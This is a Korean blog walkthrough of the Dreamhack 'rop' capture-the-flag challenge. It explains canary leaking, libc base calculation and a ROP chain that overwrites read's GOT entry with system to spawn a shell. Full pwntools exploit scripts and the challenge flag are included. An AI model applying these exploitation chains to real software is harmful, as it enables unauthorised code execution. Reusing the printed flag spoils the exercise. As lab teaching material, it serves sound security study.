반응형

Dockerfile
0.00MB
libc-2.27.so
1.94MB
rop
0.01MB
rop.c
0.00MB

 

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

RTL 문제에서와 같이 Canary Leak을 할 수 있도록 한 첫 번째 입력과 ROP Payload를 입력할 수 있도록 한 두 번째 입력이 주어진다.

 

 

보호 기법은 rtl 문제에서와 같이 Canary와 NX가 적용되어 있다.

 

 cat /proc/sys/kernel/randomize_va_space
 
# randomize_va_space=0 //ASLR 해제
# randomize_va_space=1 //랜덤 스택 & 라이브러리 활성화
# randomize_va_space=2 //랜덤 스택 & 라이브러리 & 힙 활성화

 

또한 현재 리눅스 환경에서는 ASLR 모드가 2이다.

 

 

stack Canary, NX, ASLR이 도입되고 나서 스택의 반환 주소를 덮는 공격은 점점 어려워진다.

 

공격 기법은 셸 코드의 실행에서 라이브러리 함수의 실행(RTL 기법)으로, 그리고 여러 개의 리턴 가젯을 연결하여 사용하는 ROP 기법으로 발전했다.

 

NX의 도입으로 인해 셸 코드를 사용할 수 없게 됐을 뿐만 아니라 임의의 코드를 주입해서 사용할 수도 없어졌으므로 RTL 기법과 같이 pop rdi; ret 같은 코드 가젯과 라이브러리의 system() 함수를 사용하는 공격 기법이 있었다.

 

근래의 프로그램들은 개발자들이 system() 함수의 위험성을 알기 때문에 실제 바이너리에서 system() 함수가 plt에 있을 가능성이 거의 없다.

 

현실적으로 봤을 때 요즘은 대부분이 ASLR 기능을 적용 중이고, 이러한 상황에서 system() 함수를 사용하려면 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system() 함수의 오프셋을 이용해 함수의 주소를 계산해야 한다.

 

ROP 공격은 이러한 복잡한 제약 사항을 유연하게 해결할 수 있는 수단을 제공하고, GOT Overwrite는 지금까지 나온 보호 기법들을 모두 우회한다.

 


dockerfile

 

이번 rop 문제에서는 dockerfile을 제공하는데 이 dockerfile을 빌드하여 image로 만들고 만들어진 Image로 컨테이너를 만들어 사용하면 된다.

 

먼저 dockerfile을 빌드하기 위해서는 docker 엔진이 필요한데 아래에서 desktop 버전을 받아 설치하면 된다.

(https://www.docker.com/products/docker-desktop/)

 

 

 

그리고는 문제에서 제공하는 파일들을 다운로드한 후 압축을 해제한 뒤 해제된 디렉토리로 이동한다.

 

docker build -t rop:1.0 ./

 

그리고 위의 명령을 이용해 dockerfile을 빌드한다.

 

docker images

 

위의 명령으로 docker Image 들을 조회해보면 위와 같이 rop 라는 이름으로 image가 있을 것이다.

 

docker run -it --name rop rop:1.0 /bin/bash

 

위의 명령으로 해당 이미지를 이용해 rop 라는 이름의 컨테이너를 만든다.

 

그러면 shell이 뜨게 되는데 이대로 사용하면 된다.

 


소스 코드

 

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

rop 문제의 소스 코드는 rtl 문제의 소스 코드와 거의 비슷한데, rtl 문제의 소스코드와의 다른 점은 전역 변수로 "/bin/sh" 문자열이 선언되어 있지 않다는 것sysetm() 함수의 주소를 plt table에 넣어주는 부분이 없다는 것이다.

 

rtl에서와 같이 두 번의 read() 함수 호출이 있는데 두 번 모두 buf의 크기보다 더 크게 입력을 받기 때문에 Stack Buffer Overflow를 발생시킬 수 있다.

 

rtl 문제에서는 return gadget(리턴 가젯)을 이용해서 system() 함수의 plt 주소로 rip를 설정해주어 system() 함수를 실행하는 것이 전부였다.

 

하지만 이번에는 system() 함수가 plt table에 없기 때문에 바로 system() 함수를 이용해 shell을 얻을 수는 없다.

 

이럴 때 사용하는 방법이 ROP이다.

 


ROP란

 

return gadget을 사용해 복잡한 실행 흐름을 구현하는 기법을 말하는데, 쉽게 말해 여러 개의 return gadget들을 복잡하게 엮어 일종의 프로그램을 만드는 행위를 말하는 것이다.

 

RTL 문제에서 exploit에 구현한 것도 ROP를 활용한 방법으로, RTL 문제에서는 ROP 기법을 적용하여 RTL 기법을 사용한 것이라고 볼 수 있다.

 

ROP 기법을 통해 RTL, Return to dl-resolve, GOT Overwrite 등의 페이로드를 구성할 수 있다.

 

ROP 페이로드는 여러 개의 return gadget으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습 때문에 ROP chain이라고 부른다.

 


취약점

 

rtl 문제에서와 같이 read() 함수 호출 부분에서 buf보다 큰 크기를 사용자로부터 받고 있기 때문에 Stack Buffer Overflow가 발생할 수 있다.

 

그리고 첫 번째 read() 함수 호출에서는 바로 printf() 문으로 buf의 값을 출력하고 있기 때문에 이 부분에서 canary 값을 출력하도록 할 수 있다.

 

두 번째 read() 함수 호출에는 ROP Chain으로 구성된 payload를 넣어줘서 shell을 획득할 수 있다.

 

하지만, RTL에서와는 다르게 바이너리에서 system() 함수를 직접 호출하지 않았으므로 plt table에 없을 뿐만 아니라, "/bin/sh" 문자열도 전역으로 선언되어 있지 않아 데이터 섹션에 기록되지 않기 때문에 system() 함수를 익스플로잇에 사용하려면 직접 함수의 주소를 구해야 하고, "/bin/sh" 문자열을 사용할 다른 방법도 찾아야 한다.

 


Canary 우회

 

위의 취약점 파트에서 말했듯이 첫 번째 read() 함수 호출 부분에서 적절한 길이의 데이터를 입력해 Canary 값을 구할 수 있다.

 


system() 함수의 주소 알아내기

 

shell을 획득하기 위해 이용할 함수를 찾아야 하는데, 문제에서 libc.so.6이라는 library 파일도 함께 제공하고 있기 때문에 이 라이브러리 파일에 있는 system() 함수를 사용하면 된다.

 

또한 libc.so.6 라이브러리 안에는 rop 바이너리가 호출하는 read, puts, printf() 함수도 정의되어 있다.

 

라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되기 때문에, 다른 함수들과 함께 system() 함수도 프로세스 메모리에 같이 적재된다.

 

즉, 쉽게 말해 바이너리에서는 read, puts, printf() 함수만 호출했지만, 프로세스화 되어 프로세스일 때는 이 3개의 함수 뿐만 아니라 다른 함수들도 프로세스 메모리에 올라와 있는데, 이 프로세스 메모리에 system() 함수도 올라와 있다는 것이다.

 

하지만 바이너리에서 직접 system() 함수를 호출하지 않았기 때문에 system() 함수가 GOT에는 등록되지 않지만, read, puts, printf 함수는 직접 호출하기 때문에 GOT에 등록되어 있을 것인데, main 함수에서 반환될 때가 이 3개의 함수들 모두 호출이 끝난 상태이므로 이때 이들의 GOT를 읽으면 libc.so.6가 매핑된 영역의 주소를 구할 수 있을 것이다.

 

쉽게 말해 system() 함수의 주소를 찾기 위해서 read, puts, printf 함수 중 하나를 이용해 해당 함수의 GOT 값을 읽어 어느 위치에 있는지 실제 주소를 구하면 해당 주소가 libc.so.6이 매핑된 영역의 base 주소이고, 해당 base 주소에 system() 함수의 offset을 더하면 system() 함수의 주소를 얻을 수 있다.

 

그리고 이때 사용할 수 있는 것이 pwntools에서 ELF Object의 기능 중 symbols라는 기능이 있는데, 이는 libc의 시작 주소가 0이라는 것을 가정하고 0부터 시작하여 offset을 알고 싶어하는 함수의 offset 값을 알려준다.

 

사용법은 아래와 같다.

# libc = ELF('libc 파일')

ex)
libc = ELF('./libc-2.27.so')

libc.symbols["system"]

 

참고)

libc에는 여러 버전이 있는데 같은 libc 안에서 두 데이터 사이의 거리(offset)는 항상 같기 때문에
사용하는 libc의 버전을 알고 있을 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면
다른 데이터의 주소를 모두 계산할 수 있다.


예를 들어 Ubuntu GLIBC 2.27-3ubuntu1.2에서 read 함수와 system 함수 사이의 거리는
항상 0xc0ca0이기 때문에 read 함수의 주소를 알 때, system = read-0xc0ca0으로 system 함수의 주소를 구할 수 있다.

"/bin/sh" 문자열 구하기

 

rop 바이너리에는 데이터 영역에 "/bin/sh" 문자열이 없다.

 

그러므로 이 문자열을 임의 버퍼에 직접 주입하여 참조하는 방법을 이용하거나, 다른 파일에 포함된 것을 사용하는 방법을 이용하면 되는데

 

후자의 방법 같은 경우는 많이 사용되는 것이 libc.so.6에 포함된 "/bin/sh" 문자열이고, 이 문자열의 주소도 system() 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산하면 된다.

 

그리고 이 후자의 방법은 주소를 알고 있는 버퍼에 "/bin/sh" 문자열을 입력하기 어려울 때 차선책으로 사용될 수 있다.

 

하지만 이 rop 문제에서는 그런 상황이 아니므로 전자의 방법을 사용해 ROP로 버퍼에 "/bin/sh" 문자열을 넣고, 이를 참조한다.

 

참고) gdb를 이용해 "/bin/sh" 문자열의 주소를 찾을 때

search /bin/sh

or

find /bin/sh

GOT Overwrite

 

위에서 system() 함수의 실제 주소를 구하는 방법과 "/bin/sh" 문자열을 참조할 방법을 알았으니, RTL 문제에서와 같이 pop rdi; ret 리턴 가젯을 이용해 sysetm("/bin/sh")를 호출하는 것이 가능하지만, rop.c에서 ROP payload를 보낼 수 있는 기회는 두 번째 read() 함수 호출 부분 뿐이다.

 

즉, system() 함수의 주소를 구하는 payload를 짜서 system() 함수의 주소를 알았을 때는 이미 ROP payload가 전송된 이후이므로, system("/bin/sh")를 호출하여 shell을 획득하는 payload를 입력할 수가 없는데, 알아낸 system() 함수의 주소를 payload에 사용하려면 main 함수로 돌아가서 다시 Buffer overflow를 발생시키는 ret2main 공격 패턴을 사용하지만, 이 rop 문제에서는 GOT Overwrite 기법을 통해 한 번에 shell을 획득한다.

 

동적 링크와 정적 링크 개념에서 동적 라이브러리에 있는 함수를 호출할 때 내용을 정리해보면 아래와 같다.

1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.

2. 찾은 주소를 GOT에 적고, 호출한다.

3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.

 

위의 3 단계중 GOT Overwrite에 이용되는 부분은 3번이다.

 

GOT에 적힌 주소를 검증하지 않고 참조하기 때문에 GOT에 적힌 주소를 변조할 수 있다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있는 것이다.

 

예를 들어 GOT에 read() 함수의 실제 주소가 있다고 했을 때, system() 함수의 실제 주소를 구해 read() 함수의 실제 주소와 바꿔치기 하면, read() 함수가 재호출 될 때 read() 함수가 아닌 system() 함수가 호출될 것이다.

 


Exploit

 

ROP Payload를 입력할 수 있는 건 두 번째 read() 함수 호출 부분 한 번 뿐이기 때문에

 

system() 함수의 주소를 구하고, "/bin/sh" 문자열을 참조하고, sysetm() 함수의 주소로 GOT Overwrite 하는 내용을 여러 개의 return gadget을 묶어 구성하는 ROP Chain으로 구현하여 한 개의 payload로 만들어 전송한다.

 

 

Leak Canary

from pwn import *

p = process('./rop')

# leak canary
payload = b'a' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
cnry = hex(u64(b'\x00' + p.recvn(7)))
print(cnry)

 

먼저 위의 코드로 Canary leak을 하여 Canary 값을 볼 수 있다.

 

위의 코드에 대한 설명은 RTL 문제 풀이에 자세히 되어 있다.

 

 

system 함수의 주소 계산

 

먼저, elf object의 symbols 기능을 이용해 read()함수와 system() 함수의 offset 값을 알아온다.

 

그리고 read() 함수의 got를 읽어, read() 함수의 GOT 값(read 함수의 실제 주소)에서 read() 함수의 offset 값을 빼면 library의 base 주소를 알 수 있다.

([library base addr] + [offset] = [real addr of func])

 

from pwn import *

p = process('./rop')
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")

# leak canary
payload = b'a' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
cnry = hex(u64(b'\x00' + p.recvn(7)))
print(cnry)

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3

# bypass canary
payload = b'a' * 0x38 + p64(int(cnry, 16)) + b'b' * 0x8

# puts(read_got) : read 함수의 got 값 출력
# rdi = read_got
# puts(rdi);
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)

p.sendafter("Buf: ", payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols["read"] # libc base addr
system = lb + libc.symbols["system"] # real addr of system()
print("read : ", read)
print("libc_base : ", lb)
print("system : ", system)

p.interactive()

ROPgadget --binary ./rop --re "pop rdi"

 

위의 코드는 canary 값을 leak 하여 canary를 우회하고, read() 함수의 GOT 값을 puts() 함수를 이용해 출력하는 payload를

"Buf: " 문자열 이후에 전송한 후 받은 데이터에서 6byte를 가져온 후 \x0000을 붙여 read에 저장하고

구한 read GOT 값에서 read() 함수의 offset 값을 빼 libc의 base 주소를 lb에 담은 뒤

lb에 system() 함수의 offset을 더해 sysetm() 함수의 실제 주소를 system에 담는다.

 

그리고 read() 함수의 GOT 값, libc base 주소, system() 함수의 실제 주소를 화면에 출력한다.

 

위의 코드에서 read 변수에 담을 때 6byte만 가져와 \x0000을 붙이는데 그 이유는 library의 시작 주소 맨 앞 2byte는 0x0000이기 때문이다.

 

 

pwndbg를 실행시켜 main에 break를 걸고 run 한 뒤 vmmap 명령을 입력해보면 위와 같이 출력되는데

 

빨간색 박스 안에 있는 libc의 녹색 박스 안에 있는 CODE, DATA, RODATA의 시작 주소를 보면, 6byte만 있다.

 

64bit 환경에서는 8byte여야 하는데 6byte만 사용되었으므로 나머지 2byte는 0x0000이라는 것이다.

 

참고) pwndbg의 vmmap 명령어

gdb
- info proc mappings(i proc m)

gdb-peda
- vmmap(vm)

 

 

GOT Overwrite 및 "/bin/sh" 입력 그리고 쉘 획득

 

"/bin/sh"는 덮어쓸 GOT entry 뒤에 같이 입력하여 그 위치를 rdi가 갖게 하면 된다.

 

그리고 read() 함수의 GOT 값을 system() 함수의 실제 주소로 변경하여 read() 함수가 재호출될 때 system() 함수가 호출되게 유도하면 된다.

 

이 바이너리에서는 입력을 위해 read() 함수를 사용할 수 있는데, read 함수는 입력 스트림, 입력 버퍼, 입력 길이 이렇게 총 3개의 인자가 필요하다.

 

x86_64 함수 호출 규약에 따르면 설정해야 하는 레지스터는 RDI, RSI, RDX이다.

 

앞의 두 인자 rdi, rsi는 pop rdi; ret 가젯과 pop rsi; pop r15; ret 가젯으로 설정할 수 있지만, 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 힘들다.

 

이 rop 바이너리 뿐만 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기가 어려운데, 이럴 때는 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 해결할 수 있고, 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있다.

 

rdx의 값을 변화시키는 함수의 예시로 strncmp 함수가 있는데, rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문부터 가장 긴 부분 문자열의 길이를 반환한다.

 

아래는 libc에 포함된 rdx 가젯이다.

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so | grep "pop rdx"
...
0x0000000000001b96 : pop rdx ; ret
...

 

이 rop 문제에서는 read 함수의 GOT를 읽은 후 rdx의 값이 매우 크게 설정되기 때문에 따로 rdx를 설정하는 가젯을 추가하지 않아도 되지만, 조금 더 안정적인 익스플로잇을 작성하기 위해 가젯을 추가해준다.

 

최종적으로 read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 이용해 read 함수의 GOT 값을 system() 함수의 실제 주소로 덮으면, RTL 문제에서와 같이 system("/bin/sh")를 실행할 수 있게 된다.

 

그리고 read 함수의 GOT 주소에 0x08을 더한 위치에다가 "/bin/sh" 문자열을 쓰도록 익스플로잇을 작성하여 read_GOT + 0x08 위치에 "/bin/sh" 문자열을 넣은 후

 

read 함수, pop rdi, ret 가젯, "/bin/sh"의 주소(read_got + 0x08)를 이용해 셸을 획득하는 익스플로잇을 작성한다.

 


최종 exploit 코드 작성

 

from pwn import *

# p = process('./rop')
p = remote('host3.dreamhack.games', 13416)
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")

# leak canary
payload = b'a' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
cnry = hex(u64(b'\x00' + p.recvn(7)))
print(cnry)

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
# pop_rdx = 0x0000000000001b96

# bypass canary
payload = b'a' * 0x38 + p64(int(cnry, 16)) + b'b' * 0x8

# puts(read_got) : read 함수의 got 값 출력
# rdi = read_got
# puts(rdi);
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)

# read(0, read_got, ???)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# payload += p64(pop_rdx) + p64(0x10) + p64(read_plt) # rdx = 0x10; read()

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(read_plt)

p.sendafter("Buf: ", payload)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols["read"] # libc base addr
system = lb + libc.symbols["system"] # real addr of system()

print("read : ", read)
print("libc_base : ", lb)
print("system : ", system)

p.send(p64(system) + b"/bin/sh\x00")

p.interactive()

 

위의 코드가 최종적인 내용을 합친 exploit 코드이다.

 

 

pop rsi 코드 가젯

ROPgadget --binary ./rop --re "pop rsi"

 

위의 명령을 이용해 현재 디렉토리 안에 있는 rop 바이너리에서 pop rsi 코드 가젯을 가져온다.

 

 

 

read() 함수의 GOT 값이 변경되도록 사용자에게 입력받는 부분

# read(0, read_got, ???)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

 

위에서 설명했듯이 read 함수의 GOT를 읽은 후 rdx의 값이 매우 크게 설정되기 때문에 rdx를 설정하는 가젯은 추가하지 않고 rdi와 rsi만 즉, 첫 번째 인자와 두 번째 인자만 지정해주고 있다.

 

read() 함수의 GOT 값을 system() 함수의 실제 주소로 바꿔치기 할 수 있도록 read() 함수를 호출하는 것이고, 여기서 read() 함수의 GOT 값이 system() 함수의 실제 주소로 바뀐다.

 

pop_rsi_r15 코드 가젯은 pop rsi; pop r15; ret 명령인데, pop rsi로 인해 read_got 값이 rsi에 들어가고, pop r15로 인해 0이 r15에 들어간다.

 

만약 pop r15 명령에 0이 아니라 바로 read_plt가 온다면 r15에 read_plt가 들어가게 되고, 그러면 ret 명령이 실행될 때 read 함수를 호출할 수 없게 되므로 p64(0)을 넣어준 것이다.

 

 

read() 함수를 재호출하여 사실상 system() 함수가 호출되도록 하는 부분

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(read_plt)

 

그리고 위의 코드는 read() 함수를 재호출하는 것이다.

 

이미 위에서 read() 함수의 GOT 값을 system() 함수의 실제 주소로 바꿨기 때문에, 여기서 read() 함수를 호출하는 것은 사실상 system() 함수를 호출하는 것이다.

 

system(read_got + 0x08)

 

원래대로라면 system() 함수가 아닌 read() 함수가 호출되어 동작 결과로 사용자에게 입력받은 값이 read() 함수의 GOT 주소 + 0x08 위치에 저장되겠지만, system() 함수의 실제 주소로 바껴서 system() 함수가 호출되는 것이므로 위 형식의 system() 함수가 호출되는 것이다.

 

 

read() 함수의 GOT 값을 system() 함수의 실제 주소로 바꿔치기 그리고 read_got + 0x08 위치에 "/bin/sh" 문자열 넣기

p.send(p64(system) + b"/bin/sh\x00")

 

위의 코드가 실제로 read() 함수의 GOT 값이 system() 함수의 실제 함수 주소로 바뀔 수 있도록 실제 주소를 넣어주고, overflow로 "/bin/sh" 문자열까지 넣는것이다.

 

여기서 전송되는 system() 함수의 실제 주소와 "/bin/sh" 문자열은 위에서 read() 함수의 GOT 값이 변경되도록 사용자에게 입력받는 부분 파트에 있는 read() 함수의 입력값으로 전송된다.

 


flag

 

DH{68b82d23a30015c732688c89bd03d401}

 


pop rdx 코드 가젯을 이용해 rdx까지 설정 후 read 함수 호출

ROPgadget --binary ./libc-2.27.so | grep "pop rdx ; ret"

 

위의 명령을 이용해 현재 디렉토리에 있는 libc-2.27.so 파일에서 pop rdx 코드 가젯을 가져온다.

 

 

위와 같이 pop_rdx 변수에 rdx 코드 가젯의 주소를 적어주고

 

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(pop_rdx) + p64(0x10) + p64(read_plt) # rdx = 0x10; read()

 

rdx 코드 가젯을 이용해 rdx 레지스터에 0x10을 설정한 후 read() 함수를 호출하는 것이다.

(pop r15; 명령 때문에 p64(0)은 넣어줘야 한다.)

 

from pwn import *

# p = process('./rop')
p = remote('host3.dreamhack.games', 13416)
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")

# leak canary
payload = b'a' * 0x39
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
cnry = hex(u64(b'\x00' + p.recvn(7)))
print(cnry)

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
pop_rdx = 0x0000000000001b96

# bypass canary
payload = b'a' * 0x38 + p64(int(cnry, 16)) + b'b' * 0x8

# puts(read_got) : read 함수의 got 값 출력
# rdi = read_got
# puts(rdi);
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(pop_rdx) + p64(0x10) + p64(read_plt) # rdx = 0x10; read()

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(read_plt)

p.sendafter("Buf: ", payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols["read"] # libc base addr
system = lb + libc.symbols["system"] # real addr of system()
print("read : ", read)
print("libc_base : ", lb)
print("system : ", system)

p.send(p64(system) + b"/bin/sh\x00")

p.interactive()

 

위는 rdx 코드 가젯을 이용하여 rdx까지 설정 후 read() 함수를 호출하는데

 

 

실제로 동작은 되지 않는다.

 

이유는 pop_rdi와 pop_rsi_r15 코드 가젯의 경우 rop 바이너리에서 가져왔기 때문에 문제가 없지만, pop_rdx 코드 가젯은 libc에서 가져왔기 때문에 현재 offset만 있어서 libc의 base 주소에 offset을 더해준 후 사용해야 하는데

 

exploit 코드 구조가 read 함수의 GOT 값을 바꾸기 위한 read 함수가 호출되고, 사실상 system() 함수를 호출하는 read() 함수가 재호출된 후 libc의 base 주소를 구하기 때문에 ret2main 기법을 이용해야 한다.

 

하지만 아직은 ret2main 기법을 배우지 않았으므로 이 rop 문제에서는 아직 rdx 코드 가젯을 사용할 수 없는 것이다.

(물론 ret2main 기법을 안다는 가정하에 글을 작성하면 되지만, 아마 이 글을 읽는 독자는 ret2main 기법이 뭔지 모르는 경우가 많을 것이기 때문에 독자 눈높이에 맞춘 것이다.)

 


tips

 

라이브러리 주소나 버전은 어떻게 알아내는가

문제에서 dockerfile을 통해 알려주거나, libc 파일을 같이 주거나 하는데

 

libc_base(libc의 시작 주소)의 특징은 계산했을 때 하위 12bit가 0이라는 것이다.

즉, 16진수로 표현했을 때 3자리가 0이라는 것이다.

예를 들어 libc_base를 계산했는데, 마지막 3자리가 000으로 깔끔하게 나오면 맞는 버전을 찾은 것이라고 한다.

또는 이 글에서처럼 바이너리 파일을 gdb로 열어 i proc m 또는 vmmap 같은 명령을 입력했을 때 확인할 수 있다고 한다.

 

https://dreamhack.io/forum/qna/2010

 

다른 방법으로는 got 주소를 구하고, 하위 3byte를 이용해서 libc database에 넣으면 어떤 라이브러리를 사용하고 있는지 알 수 있다고 한다.

https://libc.blukat.me/

 


read_got + 0x08의 의미 : https://dreamhack.io/forum/qna/2713

 

 

 

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] basic_rop_x86  (0) 2023.01.21
[Dreamhack pwn] basic_rop_x64  (0) 2023.01.19
[Dreamhack pwn] Return to Library  (0) 2023.01.07
[Dreamhack pwn] ssp_001  (0) 2023.01.05
[Dreamhack pwn] Return to Shellcode  (0) 2023.01.05

+ Recent posts